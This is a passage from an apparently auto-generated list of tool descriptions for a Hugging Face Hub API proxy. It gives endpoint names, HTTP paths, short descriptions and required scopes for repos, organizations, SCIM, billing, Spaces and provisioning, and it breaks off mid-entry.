huggingface_get_api_jobs_hardware (read) — Get job hardware -- Get available job hardware via GET /api/jobs/hardware GET /api/v1/huggingface/api/jobs/hardware. Scopes: jobs. huggingface_get_api_kernels (read) — List kernels -- List kernels with optional filtering, sorting, and pagination via GET /api/kernels GET /api/v1/huggingface/api/kernels. Scopes: read-repos. huggingface_get_api_kernels_by_namespace_by_repo (read) — Get kernel via GET /api/kernels/{namespace}/{repo} GET /api/v1/huggingface/api/kernels/{namespace}/{repo}. Scopes: read-repos. huggingface_get_api_kernels_by_namespace_by_repo_revision_by_rev (read) — Get kernel via GET /api/kernels/{namespace}/{repo}/revision/{rev} GET /api/v1/huggingface/api/kernels/{namespace}/{repo}/revision/{rev}. Scopes: read-repos. huggingface_get_api_models_by_namespace_by_repo_commits_by_rev (read) — List commits via GET /api/models/{namespace}/{repo}/commits/{rev} GET /api/v1/huggingface/api/models/{namespace}/{repo}/commits/{rev}. Scopes: read-repos. huggingface_get_api_models_by_namespace_by_repo_compare_by_compare (read) — Get a compare rev via GET /api/models/{namespace}/{repo}/compare/{compare} GET /api/v1/huggingface/api/models/{namespace}/{repo}/compare/{compare}. Scopes: read-repos. huggingface_get_api_models_by_namespace_by_repo_jwt (read) — Generate JWT -- Generate a JWT token for accessing a repository. Supports optional write access for spaces in dev mode, custom expiration, and encryption. via GET /api/models/{namespace}/{repo}/jwt GET /api/v1/huggingface/api/models/{namespace}/{repo}/jwt. Scopes: read-repos. huggingface_get_api_models_by_namespace_by_repo_lfs_files (read) — List Large files -- List Xet/LFS files for a repo via GET /api/models/{namespace}/{repo}/lfs-files GET /api/v1/huggingface/api/models/{namespace}/{repo}/lfs-files. Scopes: read-repos. huggingface_get_api_models_by_namespace_by_repo_notebook_by_rev_by_path (read) — Get notebook URL -- Get a jupyter notebook URL for the requested file via GET /api/models/{namespace}/{repo}/notebook/{rev}/{path} GET /api/v1/huggingface/api/models/{namespace}/{repo}/notebook/{rev}/{path}. Scopes: read-repos. huggingface_get_api_models_by_namespace_by_repo_refs (read) — List references via GET /api/models/{namespace}/{repo}/refs GET /api/v1/huggingface/api/models/{namespace}/{repo}/refs. Scopes: read-repos. huggingface_get_api_models_by_namespace_by_repo_resource_group (read) — Get resource group via GET /api/models/{namespace}/{repo}/resource-group GET /api/v1/huggingface/api/models/{namespace}/{repo}/resource-group. Scopes: read-repos. huggingface_get_api_models_by_namespace_by_repo_scan (read) — Get security status -- Get the security status of a repo via GET /api/models/{namespace}/{repo}/scan GET /api/v1/huggingface/api/models/{namespace}/{repo}/scan. Scopes: read-repos. huggingface_get_api_models_by_namespace_by_repo_tree_by_rev_by_path (read) — List folder content -- List the content of a repository tree, with pagination support. via GET /api/models/{namespace}/{repo}/tree/{rev}/{path} GET /api/v1/huggingface/api/models/{namespace}/{repo}/tree/{rev}/{path}. Scopes: read-repos. huggingface_get_api_models_by_namespace_by_repo_treesize_by_rev_by_path (read) — Get folder size -- Get the total size of a repository at a given revision, optionally under a specific subpath. Returns the total size in bytes of all files under the specified path (recursively). If a file is stored via Xet/LFS, the LFS file size is used. via GET /api/models/{namespace}/{repo}/treesize/{rev}/{path} GET /api/v1/huggingface/api/models/{namespace}/{repo}/treesize/{rev}/{path}. Scopes: read-repos. huggingface_get_api_models_by_namespace_by_repo_user_access_request_by_status (read) — List access requests -- List access requests for a gated repository via GET /api/models/{namespace}/{repo}/user-access-request/{status} GET /api/v1/huggingface/api/models/{namespace}/{repo}/user-access-request/{status}. Scopes: read-repos. huggingface_get_api_models_by_namespace_by_repo_xet_read_token_by_rev (read) — Xet read token -- Get a read short-lived access token for XET via GET /api/models/{namespace}/{repo}/xet-read-token/{rev} GET /api/v1/huggingface/api/models/{namespace}/{repo}/xet-read-token/{rev}. Scopes: read-repos. huggingface_get_api_models_by_namespace_by_repo_xet_write_token_by_rev (read) — Xet write token -- Get a write short-lived access token for XET upload via GET /api/models/{namespace}/{repo}/xet-write-token/{rev} GET /api/v1/huggingface/api/models/{namespace}/{repo}/xet-write-token/{rev}. Scopes: read-repos. huggingface_get_api_models_tags_by_type (read) — Get model tags -- Get all possible tags used for models, grouped by tag type. Optionally restrict to only one tag type via GET /api/models-tags-by-type GET /api/v1/huggingface/api/models-tags-by-type. Scopes: read-repos. huggingface_get_api_notifications (read) — List notifications -- List notifications for the user via GET /api/notifications GET /api/v1/huggingface/api/notifications. Scopes: read-repos. huggingface_get_api_organizations_by_name_audit_log_export (read) — Export the audit log -- Export the audit log events in JSON format for a Team or Enterprise organization. The export is limited to the last 100,000 events. via GET /api/organizations/{name}/audit-log/export GET /api/v1/huggingface/api/organizations/{name}/audit-log/export. Scopes: read-memberships. huggingface_get_api_organizations_by_name_avatar (read) — Get avatar -- Retrieve organization avatar. This endpoint returns a JSON with the avatar URL for the organization. If called with the `Sec-Fetch-Dest: image` header, it instead redirects to the avatar URL via GET /api/organizations/{name}/avatar GET /api/v1/huggingface/api/organizations/{name}/avatar. Scopes: read-memberships. huggingface_get_api_organizations_by_name_billing_usage (read) — Get org usage -- Get org usage for a given period via GET /api/organizations/{name}/billing/usage GET /api/v1/huggingface/api/organizations/{name}/billing/usage. Scopes: read-billing. huggingface_get_api_organizations_by_name_billing_usage_by_inference_session (read) — Get session inference usage -- Get org inference-provider usage broken down per session id, as a time-series of monthly periods. via GET /api/organizations/{name}/billing/usage-by-inference-session GET /api/v1/huggingface/api/organizations/{name}/billing/usage-by-inference-session. Scopes: read-billing. huggingface_get_api_organizations_by_name_billing_usage_by_resource_group (read) — Get resource group usage -- Get org usage breakdown per resource group, returned as a time-series of monthly periods. Window is [startDate, endDate], defaults to the current month. Both dates must fall within the last 12 months. Storage values are the peak observed within each monthly period. via GET /api/organizations/{name}/billing/usage-by-resource-group GET /api/v1/huggingface/api/organizations/{name}/billing/usage-by-resource-group. Scopes: read-billing. huggingface_get_api_organizations_by_name_billing_usage_live (read) — Stream usage -- Get live usage for org via GET /api/organizations/{name}/billing/usage/live GET /api/v1/huggingface/api/organizations/{name}/billing/usage/live. Scopes: read-billing. huggingface_get_api_organizations_by_name_billing_usage_v2 (read) — Get org usage -- Get org usage for a given period via GET /api/organizations/{name}/billing/usage-v2 GET /api/v1/huggingface/api/organizations/{name}/billing/usage-v2. Scopes: read-billing. huggingface_get_api_organizations_by_name_members (read) — Get organization members -- Get a list of members for the organization with optional search and pagination. via GET /api/organizations/{name}/members GET /api/v1/huggingface/api/organizations/{name}/members. Scopes: read-memberships. huggingface_get_api_organizations_by_name_resource_groups (read) — Get resource groups -- Retrieve accessible resource groups. Get all resource groups the user has access to. Requires the org to have a Team plan or higher. via GET /api/organizations/{name}/resource-groups GET /api/v1/huggingface/api/organizations/{name}/resource-groups. Scopes: read-memberships. huggingface_get_api_organizations_by_name_resource_groups_by_resourcegroupid (read) — Get resource group -- Retrieve a single resource group by id. Requires the org to have a Team plan or higher. via GET /api/organizations/{name}/resource-groups/{resourceGroupId} GET /api/v1/huggingface/api/organizations/{name}/resource-groups/{resourceGroupId}. Scopes: read-memberships. huggingface_get_api_organizations_by_name_scim_provisioning_v2_groups (read) — List SCIM groups -- Get a list of SCIM groups. Retrieves a paginated list of all organization groups. If you provide the filter parameter, the resources for all matching groups are returned. via GET /api/organizations/{name}/scim-provisioning/v2/Groups GET /api/v1/huggingface/api/organizations/{name}/scim-provisioning/v2/Groups. Scopes: read-memberships. huggingface_get_api_organizations_by_name_scim_provisioning_v2_groups_by_groupid (read) — Get a SCIM group -- Retrieves a group by its ID. If you provide the `excludedAttributes` parameter, the `members` attribute is not returned. via GET /api/organizations/{name}/scim-provisioning/v2/Groups/{groupId} GET /api/v1/huggingface/api/organizations/{name}/scim-provisioning/v2/Groups/{groupId}. Scopes: read-memberships. huggingface_get_api_organizations_by_name_scim_provisioning_v2_users (read) — List SCIM-managed users -- Retrieves a paginated list of organization members and pending invitations managed by SCIM for non-managed organizations. via GET /api/organizations/{name}/scim-provisioning/v2/Users GET /api/v1/huggingface/api/organizations/{name}/scim-provisioning/v2/Users. Scopes: read-memberships. huggingface_get_api_organizations_by_name_scim_provisioning_v2_users_by_userid (read) — Get a SCIM provisioning user -- Retrieves a SCIM user by their ID for non-managed organizations. via GET /api/organizations/{name}/scim-provisioning/v2/Users/{userId} GET /api/v1/huggingface/api/organizations/{name}/scim-provisioning/v2/Users/{userId}. Scopes: read-memberships. huggingface_get_api_organizations_by_name_scim_v2_groups (read) — List SCIM groups -- Get a list of SCIM groups. Retrieves a paginated list of all organization groups. If you provide the filter parameter, the resources for all matching groups are returned. via GET /api/organizations/{name}/scim/v2/Groups GET /api/v1/huggingface/api/organizations/{name}/scim/v2/Groups. Scopes: read-memberships. huggingface_get_api_organizations_by_name_scim_v2_groups_by_groupid (read) — Get a SCIM group -- Retrieves a group by its ID. If you provide the `excludedAttributes` parameter, the `members` attribute is not returned. via GET /api/organizations/{name}/scim/v2/Groups/{groupId} GET /api/v1/huggingface/api/organizations/{name}/scim/v2/Groups/{groupId}. Scopes: read-memberships. huggingface_get_api_organizations_by_name_scim_v2_resourcetypes (read) — Get SCIM Resource Types -- Returns the list of SCIM 2.0 resource types supported by this server (User and Group). via GET /api/organizations/{name}/scim/v2/ResourceTypes GET /api/v1/huggingface/api/organizations/{name}/scim/v2/ResourceTypes. Scopes: read-memberships. huggingface_get_api_organizations_by_name_scim_v2_schemas (read) — Get SCIM Schemas -- Returns the SCIM 2.0 schema definitions for User and Group resources. via GET /api/organizations/{name}/scim/v2/Schemas GET /api/v1/huggingface/api/organizations/{name}/scim/v2/Schemas. Scopes: read-memberships. huggingface_get_api_organizations_by_name_scim_v2_schemas_by_schemaid (read) — Get SCIM Schema by ID -- Returns a single SCIM 2.0 schema definition by its schema URI. via GET /api/organizations/{name}/scim/v2/Schemas/{schemaId} GET /api/v1/huggingface/api/organizations/{name}/scim/v2/Schemas/{schemaId}. Scopes: read-memberships. huggingface_get_api_organizations_by_name_scim_v2_serviceproviderconfig (read) — Get SCIM Configuration -- Returns the SCIM 2.0 Service Provider configuration, describing the server's capabilities and supported authentication schemes. via GET /api/organizations/{name}/scim/v2/ServiceProviderConfig GET /api/v1/huggingface/api/organizations/{name}/scim/v2/ServiceProviderConfig. Scopes: read-memberships. huggingface_get_api_organizations_by_name_scim_v2_users (read) — List SCIM users -- Retrieves a paginated list of all organization members who have been set up, including disabled users. If you provide the filter parameter, the resources for all matching members are returned. via GET /api/organizations/{name}/scim/v2/Users GET /api/v1/huggingface/api/organizations/{name}/scim/v2/Users. Scopes: read-memberships. huggingface_get_api_organizations_by_name_scim_v2_users_by_userid (read) — Get a SCIM user -- Retrieves a SCIM user by their ID. via GET /api/organizations/{name}/scim/v2/Users/{userId} GET /api/v1/huggingface/api/organizations/{name}/scim/v2/Users/{userId}. Scopes: read-memberships. huggingface_get_api_organizations_by_name_service_accounts (read) — List service accounts -- List all service accounts for the organization. via GET /api/organizations/{name}/service-accounts GET /api/v1/huggingface/api/organizations/{name}/service-accounts. Scopes: read-memberships. huggingface_get_api_organizations_by_name_service_accounts_by_serviceaccountid (read) — Get service account -- Retrieve a single service account and its access token metadata. Token secrets are never returned. via GET /api/organizations/{name}/service-accounts/{serviceAccountId} GET /api/v1/huggingface/api/organizations/{name}/service-accounts/{serviceAccountId}. Scopes: read-memberships. huggingface_get_api_organizations_by_name_settings_network_security (read) — Get network security settings -- Get the network security settings for an organization. via GET /api/organizations/{name}/settings/network-security GET /api/v1/huggingface/api/organizations/{name}/settings/network-security. Scopes: read-memberships. huggingface_get_api_organizations_by_name_settings_repositories (read) — List organization repositories via GET /api/organizations/{name}/settings/repositories GET /api/v1/huggingface/api/organizations/{name}/settings/repositories. Scopes: read-memberships. huggingface_get_api_organizations_by_name_settings_tokens (read) — List member access tokens -- List the access tokens of the organization's members. Team or Enterprise only. via GET /api/organizations/{name}/settings/tokens GET /api/v1/huggingface/api/organizations/{name}/settings/tokens. Scopes: read-memberships. huggingface_get_api_organizations_by_name_socials (read) — Get social handles -- Get an organization's social media handles via GET /api/organizations/{name}/socials GET /api/v1/huggingface/api/organizations/{name}/socials. Scopes: read-memberships. huggingface_get_api_papers (read) — List papers -- List arXiv papers sorted by published date via GET /api/papers GET /api/v1/huggingface/api/papers. Scopes: read-repos. huggingface_get_api_papers_by_paperid (read) — Get a paper via GET /api/papers/{paperId} GET /api/v1/huggingface/api/papers/{paperId}. Scopes: read-repos. huggingface_get_api_papers_search (read) — Search papers -- Perform a hybrid semantic / full-text-search on papers via GET /api/papers/search GET /api/v1/huggingface/api/papers/search. Scopes: read-repos. huggingface_get_api_quicksearch (read) — Quick search -- Quick search for models, datasets, spaces, orgs, users, papers, collections, and buckets via GET /api/quicksearch GET /api/v1/huggingface/api/quicksearch. Scopes: read-repos. huggingface_get_api_registry_token (read) — Registry token -- Mints a short-lived EdDSA JWT for the HuggingFace container registry, verifiable via the JWK at `/api/keys/jwt`. via GET /api/registry/token GET /api/v1/huggingface/api/registry/token. Scopes: read-repos. huggingface_get_api_resolve_cache_datasets_by_namespace_by_repo_by_rev_by_path (read) — Resolve a file -- This endpoint requires to follow redirection via GET /api/resolve-cache/datasets/{namespace}/{repo}/{rev}/{path} GET /api/v1/huggingface/api/resolve-cache/datasets/{namespace}/{repo}/{rev}/{path}. Scopes: read-repos. huggingface_get_api_resolve_cache_models_by_namespace_by_repo_by_rev_by_path (read) — Resolve a file -- This endpoint requires to follow redirection via GET /api/resolve-cache/models/{namespace}/{repo}/{rev}/{path} GET /api/v1/huggingface/api/resolve-cache/models/{namespace}/{repo}/{rev}/{path}. Scopes: read-repos. huggingface_get_api_resolve_cache_spaces_by_namespace_by_repo_by_rev_by_path (read) — Resolve a file -- This endpoint requires to follow redirection via GET /api/resolve-cache/spaces/{namespace}/{repo}/{rev}/{path} GET /api/v1/huggingface/api/resolve-cache/spaces/{namespace}/{repo}/{rev}/{path}. Scopes: read-repos. huggingface_get_api_scheduled_jobs_by_namespace (read) — List scheduled jobs -- List scheduled jobs for an entity via GET /api/scheduled-jobs/{namespace} GET /api/v1/huggingface/api/scheduled-jobs/{namespace}. Scopes: jobs. huggingface_get_api_scheduled_jobs_by_namespace_by_jobid (read) — Get a scheduled job via GET /api/scheduled-jobs/{namespace}/{jobId} GET /api/v1/huggingface/api/scheduled-jobs/{namespace}/{jobId}. Scopes: jobs. huggingface_get_api_settings_billing_usage (read) — Get user usage -- Get user usage for a given period via GET /api/settings/billing/usage GET /api/v1/huggingface/api/settings/billing/usage. Scopes: read-billing. huggingface_get_api_settings_billing_usage_by_inference_session (read) — Get session inference usage -- Get user inference-provider usage broken down per session id via GET /api/settings/billing/usage-by-inference-session GET /api/v1/huggingface/api/settings/billing/usage-by-inference-session. Scopes: read-billing. huggingface_get_api_settings_billing_usage_jobs (read) — Get jobs usage -- Get user Jobs usage for current subscription period via GET /api/settings/billing/usage/jobs GET /api/v1/huggingface/api/settings/billing/usage/jobs. Scopes: read-billing. huggingface_get_api_settings_billing_usage_live (read) — Stream usage -- Get live usage for user via GET /api/settings/billing/usage/live GET /api/v1/huggingface/api/settings/billing/usage/live. Scopes: read-billing. huggingface_get_api_settings_billing_usage_v2 (read) — Get user usage -- Get user usage for a given period via GET /api/settings/billing/usage-v2 GET /api/v1/huggingface/api/settings/billing/usage-v2. Scopes: read-billing. huggingface_get_api_settings_mcp (read) — Get MCP tools -- Get the MCP tools for the current user via GET /api/settings/mcp GET /api/v1/huggingface/api/settings/mcp. Scopes: profile. huggingface_get_api_settings_metrics_live (read) — Stream metrics -- Get live usage and running jobs count for the logged-in user, over a single SSE connection via GET /api/settings/metrics/live GET /api/v1/huggingface/api/settings/metrics/live. Scopes: profile. huggingface_get_api_settings_repositories (read) — List user repositories via GET /api/settings/repositories GET /api/v1/huggingface/api/settings/repositories. Scopes: profile. huggingface_get_api_settings_webhooks (read) — List webhooks via GET /api/settings/webhooks GET /api/v1/huggingface/api/settings/webhooks. Scopes: webhooks. huggingface_get_api_settings_webhooks_by_webhookid (read) — Get webhook via GET /api/settings/webhooks/{webhookId} GET /api/v1/huggingface/api/settings/webhooks/{webhookId}. Scopes: webhooks. huggingface_get_api_spaces_by_namespace_by_repo_commits_by_rev (read) — List commits via GET /api/spaces/{namespace}/{repo}/commits/{rev} GET /api/v1/huggingface/api/spaces/{namespace}/{repo}/commits/{rev}. Scopes: read-repos. huggingface_get_api_spaces_by_namespace_by_repo_compare_by_compare (read) — Get a compare rev via GET /api/spaces/{namespace}/{repo}/compare/{compare} GET /api/v1/huggingface/api/spaces/{namespace}/{repo}/compare/{compare}. Scopes: read-repos. huggingface_get_api_spaces_by_namespace_by_repo_events (read) — Stream events -- Get status updates for a specific Space in a streaming fashion, with SSE protocol via GET /api/spaces/{namespace}/{repo}/events GET /api/v1/huggingface/api/spaces/{namespace}/{repo}/events. Scopes: read-repos. huggingface_get_api_spaces_by_namespace_by_repo_jwt (read) — Generate JWT -- Generate a JWT token for accessing a repository. Supports optional write access for spaces in dev mode, custom expiration, and encryption. via GET /api/spaces/{namespace}/{repo}/jwt GET /api/v1/huggingface/api/spaces/{namespace}/{repo}/jwt. Scopes: read-repos. huggingface_get_api_spaces_by_namespace_by_repo_lfs_files (read) — List Large files -- List Xet/LFS files for a repo via GET /api/spaces/{namespace}/{repo}/lfs-files GET /api/v1/huggingface/api/spaces/{namespace}/{repo}/lfs-files. Scopes: read-repos. huggingface_get_api_spaces_by_namespace_by_repo_logs_by_logtype (read) — Stream logs -- Get logs for a specific Space in a streaming fashion, with SSE protocol via GET /api/spaces/{namespace}/{repo}/logs/{logType} GET /api/v1/huggingface/api/spaces/{namespace}/{repo}/logs/{logType}. Scopes: read-repos. huggingface_get_api_spaces_by_namespace_by_repo_metrics (read) — Stream metrics -- Get live metrics for a specific Space in a streaming fashion, with SSE protocol, such as current Zero-GPU usage via GET /api/spaces/{namespace}/{repo}/metrics GET /api/v1/huggingface/api/spaces/{namespace}/{repo}/metrics. Scopes: read-repos. huggingface_get_api_spaces_by_namespace_by_repo_notebook_by_rev_by_path (read) — Get notebook URL -- Get a jupyter notebook URL for the requested file via GET /api/spaces/{namespace}/{repo}/notebook/{rev}/{path} GET /api/v1/huggingface/api/spaces/{namespace}/{repo}/notebook/{rev}/{path}. Scopes: read-repos. huggingface_get_api_spaces_by_namespace_by_repo_refs (read) — List references via GET /api/spaces/{namespace}/{repo}/refs GET /api/v1/huggingface/api/spaces/{namespace}/{repo}/refs. Scopes: read-repos. huggingface_get_api_spaces_by_namespace_by_repo_resource_group (read) — Get resource group via GET /api/spaces/{namespace}/{repo}/resource-group GET /api/v1/huggingface/api/spaces/{namespace}/{repo}/resource-group. Scopes: read-repos. huggingface_get_api_spaces_by_namespace_by_repo_scan (read) — Get security status -- Get the security status of a repo via GET /api/spaces/{namespace}/{repo}/scan GET /api/v1/huggingface/api/spaces/{namespace}/{repo}/scan. Scopes: read-repos. huggingface_get_api_spaces_by_namespace_by_repo_secrets (read) — List secrets -- List a Space's secret keys. Values are never returned. via GET /api/spaces/{namespace}/{repo}/secrets GET /api/v1/huggingface/api/spaces/{namespace}/{repo}/secrets. Scopes: read-repos. huggingface_get_api_spaces_by_namespace_by_repo_tree_by_rev_by_path (read) — List folder content -- List the content of a repository tree, with pagination support. via GET /api/spaces/{namespace}/{repo}/tree/{rev}/{path} GET /api/v1/huggingface/api/spaces/{namespace}/{repo}/tree/{rev}/{path}. Scopes: read-repos. huggingface_get_api_spaces_by_namespace_by_repo_treesize_by_rev_by_path (read) — Get folder size -- Get the total size of a repository at a given revision, optionally under a specific subpath. Returns the total size in bytes of all files under the specified path (recursively). If a file is stored via Xet/LFS, the LFS file size is used. via GET /api/spaces/{namespace}/{repo}/treesize/{rev}/{path} GET /api/v1/huggingface/api/spaces/{namespace}/{repo}/treesize/{rev}/{path}. Scopes: read-repos. huggingface_get_api_spaces_by_namespace_by_repo_variables (read) — List variables -- List a Space's variables with their values. via GET /api/spaces/{namespace}/{repo}/variables GET /api/v1/huggingface/api/spaces/{namespace}/{repo}/variables. Scopes: read-repos. huggingface_get_api_spaces_by_namespace_by_repo_xet_read_token_by_rev (read) — Xet read token -- Get a read short-lived access token for XET via GET /api/spaces/{namespace}/{repo}/xet-read-token/{rev} GET /api/v1/huggingface/api/spaces/{namespace}/{repo}/xet-read-token/{rev}. Scopes: read-repos. huggingface_get_api_spaces_by_namespace_by_repo_xet_write_token_by_rev (read) — Xet write token -- Get a write short-lived access token for XET upload via GET /api/spaces/{namespace}/{repo}/xet-write-token/{rev} GET /api/v1/huggingface/api/spaces/{namespace}/{repo}/xet-write-token/{rev}. Scopes: read-repos. huggingface_get_api_spaces_hardware (read) — List space hardware -- Get available space hardware via GET /api/spaces/hardware GET /api/v1/huggingface/api/spaces/hardware. Scopes: read-repos. huggingface_get_api_spaces_templates (read) — List Space templates -- Returns the catalog of official Space templates. The `repoId` of a template can be passed as `template` when creating a Space through the create-repo endpoint. via GET /api/spaces/templates GET /api/v1/huggingface/api/spaces/templates. Scopes: read-repos. huggingface_get_api_spaces_zero_gpu_quota (read) — Get ZeroGPU quota -- Get the authenticated user's current ZeroGPU quota usage and limits via GET /api/spaces/zero-gpu/quota GET /api/v1/huggingface/api/spaces/zero-gpu/quota. Scopes: read-repos. huggingface_get_api_trending (read) — Get trending -- Get the trending repositories via GET /api/trending GET /api/v1/huggingface/api/trending. Scopes: read-repos. huggingface_get_api_users_by_username_avatar (read) — Retrieve user avatar -- This endpoint returns a JSON with the avatar URL for the user. If called with the `Sec-Fetch-Dest: image` header, it instead redirects to the avatar URL via GET /api/users/{username}/avatar GET /api/v1/huggingface/api/users/{username}/avatar. Scopes: profile. huggingface_get_api_users_by_username_billing_usage_live (read) — Stream usage -- Get live usage for user via GET /api/users/{username}/billing/usage/live GET /api/v1/huggingface/api/users/{username}/billing/usage/live. Scopes: read-billing. huggingface_get_api_users_by_username_followers (read) — List user followers via GET /api/users/{username}/followers GET /api/v1/huggingface/api/users/{username}/followers. Scopes: profile. huggingface_get_api_users_by_username_following (read) — List followed users via GET /api/users/{username}/following GET /api/v1/huggingface/api/users/{username}/following. Scopes: profile. huggingface_get_api_users_by_username_following_orgs (read) — List followed organizations via GET /api/users/{username}/following/orgs GET /api/v1/huggingface/api/users/{username}/following/orgs. Scopes: profile. huggingface_get_api_users_by_username_likes (read) — List user likes -- List public repos liked by a user via GET /api/users/{username}/likes GET /api/v1/huggingface/api/users/{username}/likes. Scopes: profile. huggingface_get_api_users_by_username_overview (read) — User overview via GET /api/users/{username}/overview GET /api/v1/huggingface/api/users/{username}/overview. Scopes: profile. huggingface_get_api_users_by_username_socials (read) — Get social handles -- Get a user's social media handles via GET /api/users/{username}/socials GET /api/v1/huggingface/api/users/{username}/socials. Scopes: profile. huggingface_get_api_whoami_v2 (read) — Get user info -- Get information about the user and auth method used via GET /api/whoami-v2 GET /api/v1/huggingface/api/whoami-v2. Scopes: profile. huggingface_get_buckets_by_namespace_by_repo_resolve_by_path (read) — Get file metadata -- Returns file metadata including size, hash, and links to XET authentication via GET /buckets/{namespace}/{repo}/resolve/{path} GET /api/v1/huggingface/buckets/{namespace}/{repo}/resolve/{path}. Scopes: read-repos. huggingface_get_by_namespace_by_repo_resolve_by_rev_by_path (read) — Resolve a file -- This endpoint requires to follow redirection via GET /{namespace}/{repo}/resolve/{rev}/{path} GET /api/v1/huggingface/{namespace}/{repo}/resolve/{rev}/{path}. Scopes: read-repos. huggingface_get_by_namespace_by_repo_user_access_report (read) — Export access report -- Export a report of all access requests for a gated repository via GET /{namespace}/{repo}/user-access-report GET /api/v1/huggingface/{namespace}/{repo}/user-access-report. Scopes: read-repos. huggingface_get_datasets_by_namespace_by_repo_resolve_by_rev_by_path (read) — Resolve a file -- This endpoint requires to follow redirection via GET /datasets/{namespace}/{repo}/resolve/{rev}/{path} GET /api/v1/huggingface/datasets/{namespace}/{repo}/resolve/{rev}/{path}. Scopes: read-repos. huggingface_get_datasets_by_namespace_by_repo_user_access_report (read) — Export access report -- Export a report of all access requests for a gated repository via GET /datasets/{namespace}/{repo}/user-access-report GET /api/v1/huggingface/datasets/{namespace}/{repo}/user-access-report. Scopes: read-repos. huggingface_get_oauth_userinfo (read) — Get user info -- Get information about the user. Only available through oauth access tokens. Information varies depending on the scope of the oauth app and what permissions the user granted to the oauth app. via GET /oauth/userinfo GET /api/v1/huggingface/oauth/userinfo. Scopes: profile. huggingface_get_spaces_by_namespace_by_repo_resolve_by_rev_by_path (read) — Resolve a file -- This endpoint requires to follow redirection via GET /spaces/{namespace}/{repo}/resolve/{rev}/{path} GET /api/v1/huggingface/spaces/{namespace}/{repo}/resolve/{rev}/{path}. Scopes: read-repos. huggingface_patch_api_by_repotype_by_namespace_by_repo_sql_console_embed_by_id (write) — Update embed -- Update SQL Console embed via PATCH /api/{repoType}/{namespace}/{repo}/sql-console/embed/{id} PATCH /api/v1/huggingface/api/{repoType}/{namespace}/{repo}/sql-console/embed/{id}. Scopes: write-repos. huggingface_patch_api_collections_by_namespace_by_slug (write) — Update a collection via PATCH /api/collections/{namespace}/{slug} PATCH /api/v1/huggingface/api/collections/{namespace}/{slug}. Scopes: write-collections. huggingface_patch_api_collections_by_namespace_by_slug_items_by_slug (write) — Update item -- Update an item in a collection via PATCH /api/collections/{namespace}/{slug}/items/{slug} PATCH /api/v1/huggingface/api/collections/{namespace}/{slug}/items/{itemId}. Scopes: write-collections. huggingface_patch_api_organizations_by_name_resource_groups_by_resourcegroupid (write) — Update resource group -- Update the name, description and/or monthly spend limits (in cents, `null` to remove) of a resource group. `spendLimits.total` caps the group's combined spend across every product; the per-product limits cap each product on top of it. Requires the org to have a Team plan or higher. via PATCH /api/organizations/{name}/resource-groups/{resourceGroupId} PATCH /api/v1/huggingface/api/organizations/{name}/resource-groups/{resourceGroupId}. Scopes: read-memberships. huggingface_patch_api_organizations_by_name_resource_groups_by_resourcegroupid_users_by_username (write) — Change user role -- Change the role of a user in a resource group. Requires the org to have a Team plan or higher. via PATCH /api/organizations/{name}/resource-groups/{resourceGroupId}/users/{username} PATCH /api/v1/huggingface/api/organizations/{name}/resource-groups/{resourceGroupId}/users/{username}. Scopes: read-memberships. huggingface_patch_api_organizations_by_name_scim_provisioning_v2_groups_by_groupid (write) — Update SCIM group -- Update attributes of a SCIM group. Updates individual attributes using Operations format. Just provide the changes you want to make using add, remove (only `members` is supported), or replace operations. via PATCH /api/organizations/{name}/scim-provisioning/v2/Groups/{groupId} PATCH /api/v1/huggingface/api/organizations/{name}/scim-provisioning/v2/Groups/{groupId}. Scopes: read-memberships. huggingface_patch_api_organizations_by_name_scim_provisioning_v2_users_by_userid (write) — Update SCIM user -- Modify individual attributes for non-managed organizations. Only the `active` field can be modified. User profile fields are not editable via SCIM. via PATCH /api/organizations/{name}/scim-provisioning/v2/Users/{userId} PATCH /api/v1/huggingface/api/organizations/{name}/scim-provisioning/v2/Users/{userId}. Scopes: read-memberships. huggingface_patch_api_organizations_by_name_scim_v2_groups_by_groupid (write) — Update SCIM group -- Update attributes of a SCIM group. Updates individual attributes using Operations format. Just provide the changes you want to make using add, remove (only `members` is supported), or replace operations. via PATCH /api/organizations/{name}/scim/v2/Groups/{groupId} PATCH /api/v1/huggingface/api/organizations/{name}/scim/v2/Groups/{groupId}. Scopes: read-memberships. huggingface_patch_api_organizations_by_name_scim_v2_users_by_userid (write) — Update SCIM user -- Update an attribute of a SCIM user. Modify individual attributes using Operations format. Just provide the changes you want to make using add, remove (only `externalId` is supported), or replace operations. If you set `active` to `false`, the user will be deprovisioned from the organization. Complicated SCIM `path` values are not supported like `emails[type eq 'work'].value`. via PATCH /api/organizations/{name}/scim/v2/Users/{userId} PATCH /api/v1/huggingface/api/organizations/{name}/scim/v2/Users/{userId}. Scopes: read-memberships. huggingface_patch_api_organizations_by_name_service_accounts_by_serviceaccountid_tokens_by_tokenid (write) — Update service-account token -- Update the name and/or permissions of an existing service account token. via PATCH /api/organizations/{name}/service-accounts/{serviceAccountId}/tokens/{tokenId} PATCH /api/v1/huggingface/api/organizations/{name}/service-accounts/{serviceAccountId}/tokens/{tokenId}. Scopes: read-memberships. huggingface_patch_api_organizations_by_name_settings_network_security (write) — Update network security -- Update the network security settings for an organization. via PATCH /api/organizations/{name}/settings/network-security PATCH /api/v1/huggingface/api/organizations/{name}/settings/network-security. Scopes: read-memberships. huggingface_patch_api_settings_notifications (write) — Update notification settings -- Update notification settings for the user via PATCH /api/settings/notifications PATCH /api/v1/huggingface/api/settings/notifications. Scopes: write-repos. huggingface_patch_api_settings_watch (write) — Update watch settings -- Update watch settings for the user. Get notified when discussions happen on your watched items. via PATCH /api/settings/watch PATCH /api/v1/huggingface/api/settings/watch. Scopes: write-repos. huggingface_post_api_agentic_provisioning_account_requests (write) — Create account request via POST /api/agentic/provisioning/account_requests POST /api/v1/huggingface/api/agentic/provisioning/account_requests. Scopes: read-memberships. huggingface_post_api_agentic_provisioning_deep_links (write) — Create deep link via POST /api/agentic/provisioning/deep_links POST /api/v1/huggingface/api/agentic/provisioning/deep_links. Scopes: read-memberships. huggingface_post_api_agentic_provisioning_resources (write) — Provision a resource via POST /api/agentic/provisioning/resources POST /api/v1/huggingface/api/agentic/provisioning/resources. Scopes: read-memberships. huggingface_post_api_agentic_provisioning_resources_by_id_remove (write) — Remove resource via POST /api/agentic/provisioning/resources/{id}/remove POST /api/v1/huggingface/api/agentic/provisioning/resources/{id}/remove. Scopes: read-memberships. huggingface_post_api_agentic_provisioning_resources_by_id_rotate_credentials (write) — Rotate resource credentials via POST /api/agentic/provisioning/resources/{id}/rotate_credentials POST /api/v1/huggingface/api/agentic/provisioning/resources/{id}/rotate_credentials. Scopes: read-memberships. huggingface_post_api_agentic_provisioning_resources_by_id_update_service (write) — Update 